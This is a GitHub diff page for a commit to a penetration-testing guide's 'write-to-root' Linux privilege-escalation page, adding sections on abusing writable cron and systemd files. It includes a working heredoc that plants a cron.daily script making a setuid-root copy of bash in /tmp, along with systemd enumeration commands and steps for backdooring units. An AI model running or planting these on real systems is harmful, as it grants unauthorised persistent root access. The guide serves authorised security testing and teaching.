You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/write-to-root.md
+88-3Lines changed: 88 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -37,11 +37,97 @@ chmod +x pre-commit
37
37
38
38
### Cron & Time files
39
39
40
-
TODO
40
+
If you can **write cron-related files that root executes**, you can usually get code execution the next time the job runs. Interesting targets include:
If you can only write inside a cron directory used by `run-parts`, drop an executable file there instead:
70
+
71
+
```bash
72
+
cat > /etc/cron.daily/backup <<'EOF'
73
+
#!/bin/sh
74
+
cp /bin/bash /tmp/rootbash
75
+
chown root:root /tmp/rootbash
76
+
chmod 4777 /tmp/rootbash
77
+
EOF
78
+
chmod +x /etc/cron.daily/backup
79
+
```
80
+
81
+
Notes:
82
+
83
+
-`run-parts` usually ignores filenames containing dots, so prefer names like `backup` instead of `backup.sh`.
84
+
- Some distros use `anacron` or `systemd` timers instead of classic cron, but the abuse idea is the same: **modify what root will execute later**.
41
85
42
86
### Service & Socket files
43
87
44
-
TODO
88
+
If you can write **`systemd` unit files** or files referenced by them, you may be able to get code execution as root by reloading and restarting the unit, or by waiting for the service/socket activation path to trigger.
89
+
90
+
Interesting targets include:
91
+
92
+
-`/etc/systemd/system/*.service`
93
+
-`/etc/systemd/system/*.socket`
94
+
- Drop-in overrides in `/etc/systemd/system/<unit>.d/*.conf`
95
+
- Service scripts/binaries referenced by `ExecStart=`, `ExecStartPre=`, `ExecStartPost=`
96
+
- Writable `EnvironmentFile=` paths loaded by a root service
97
+
98
+
Quick checks:
99
+
100
+
```bash
101
+
ls -la /etc/systemd/system /lib/systemd/system 2>/dev/null
# or trigger the socket-backed service by connecting to it
128
+
```
129
+
130
+
If you cannot restart services yourself but can edit a socket-activated unit, you may only need to **wait for a client connection** to trigger execution of the backdoored service as root.
45
131
46
132
### Overwrite a restrictive `php.ini` used by a privileged PHP sandbox
0 commit comments